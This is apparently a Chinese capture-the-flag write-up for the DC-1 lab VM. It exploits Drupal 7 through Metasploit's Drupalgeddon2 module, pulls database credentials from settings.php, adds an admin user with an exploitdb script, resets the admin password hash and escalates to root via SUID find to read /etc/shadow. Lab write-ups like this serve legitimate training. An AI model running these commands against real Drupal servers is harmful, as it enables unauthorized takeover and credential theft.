下载地址:链接:https://pan.baidu.com/s/1_oBtOEVSu2VaRpjmsKSh-Q
提取码:ugo5
靶机:DC1(VMware桥接) IP:192.168.88.115
攻击机:Kali(VMware桥接) IP:192.168..88.100
查看Kali IP地址
使用NMAP扫描网段,查看靶机IP地址,可以根据MAC地址判断哪个是靶机IP:192.168.88.115
然后使用nmap扫描靶机,进行信息收集,开发了22,80,111端口
先访问80端口查看web应用 ,利用插件了解到是Drupal 7 CMS。
或者是在消息头部分中也可以查看CMS版本信息。
然后可以用工具跑一波目录(御剑,dirsearch等等)
没有获取到一些可利用的信息。
然后利用msf找一下有没有可以用的exp
可以把每个都试一下哪个模块能成功
这里使用第四个exploit/unix/webapp/drupal_drupalgeddon2
Drupal系统没有对表单API接口的AJAX请求输入进行充分的检查,使攻击者能够向内部表单结构中注入一个恶意的payload,导致Drupal系统在未进行用户认证的情况下执行这个payload。通过利用这个漏洞,攻击者能够接管任何Drupal系统用户的整个站点。参考:https://bbs.pediy.com/thread-226461.htm
使用并配置该模块
use 4 或 use exploit/unix/webapp/drupal_drupalgeddon2
show options //查看配置项
设置RHOSTS为目标靶机IP:192.168.88.115
set rhosts 192.168.88.115
执行exploit 或 run
使用ls命令查看当前路径和文件
使用cat查看该文件,即拿到第一个flag,同时也是提示信息。
根据提示信息去查看配置文件,文件在site/default/settings.php,百度即可
先创建一个交互式shell:
python -c ‘import pty;pty.spawn(“/bin/bash”)’
使用more或cat命令打开settings.php文件,获取到flags,还有关于数据库的关键信息。
根据获取的数据库名,用户名和口令,登录mysql数据库
show databases;
use drupaldb;
show tables;
使用select查询到users表中的admin用户和加密的密码口令,但是密文无法破解
在exploitdb中包含对Drupal 7版本的攻击脚本,可以添加一个admin权限的用户。
执行该exp后面的python脚本文件
python /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.88.115 -u admin1 -p admin1
然后利用新建用户,admin1 admin1登录后台,在content菜单中获取flag3
还有一种获取flag3的方法
现在看到了flag3在哪里了,uid为1的用户是不受Drupal权限管制的,具有最高权限。
重置管理员密码
使用Drupal对数据库的加密方法,加密脚本路径在网站根目录下的scripts目录,使用加密脚本加密新密码123.com,生成密文,然后登录系统查看flag3
然后利用得到的hash值重置管理员的密码,登录数据库更新密码
根据flag3的信息可以获取几个线索提示,FIND the passwd,need to -exec,in the shadow
先cat一下passwd文件,很明显flag4在/home/flag4目录下
另一种方法获取flag4
/etc/shadow 文件只有root用户有读权限,要查看shadow文件,需使用SUID命令提权。
使用以下命令可以发现该系统上的所有SUID可执行文件,这些命令将尝试具有root权限的SUID的文件,任意一条均可。
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls ldb {} \;
利用find提权
获取root权限后查看shadow文件,flag4是一个用户
直接使用root权限查找
根据flag4的提示,使用相同的方法在根目录中查找
使用find命令,正则进行一个模糊搜索。
find * -name "*.txt" 搜索所有.txt的文件。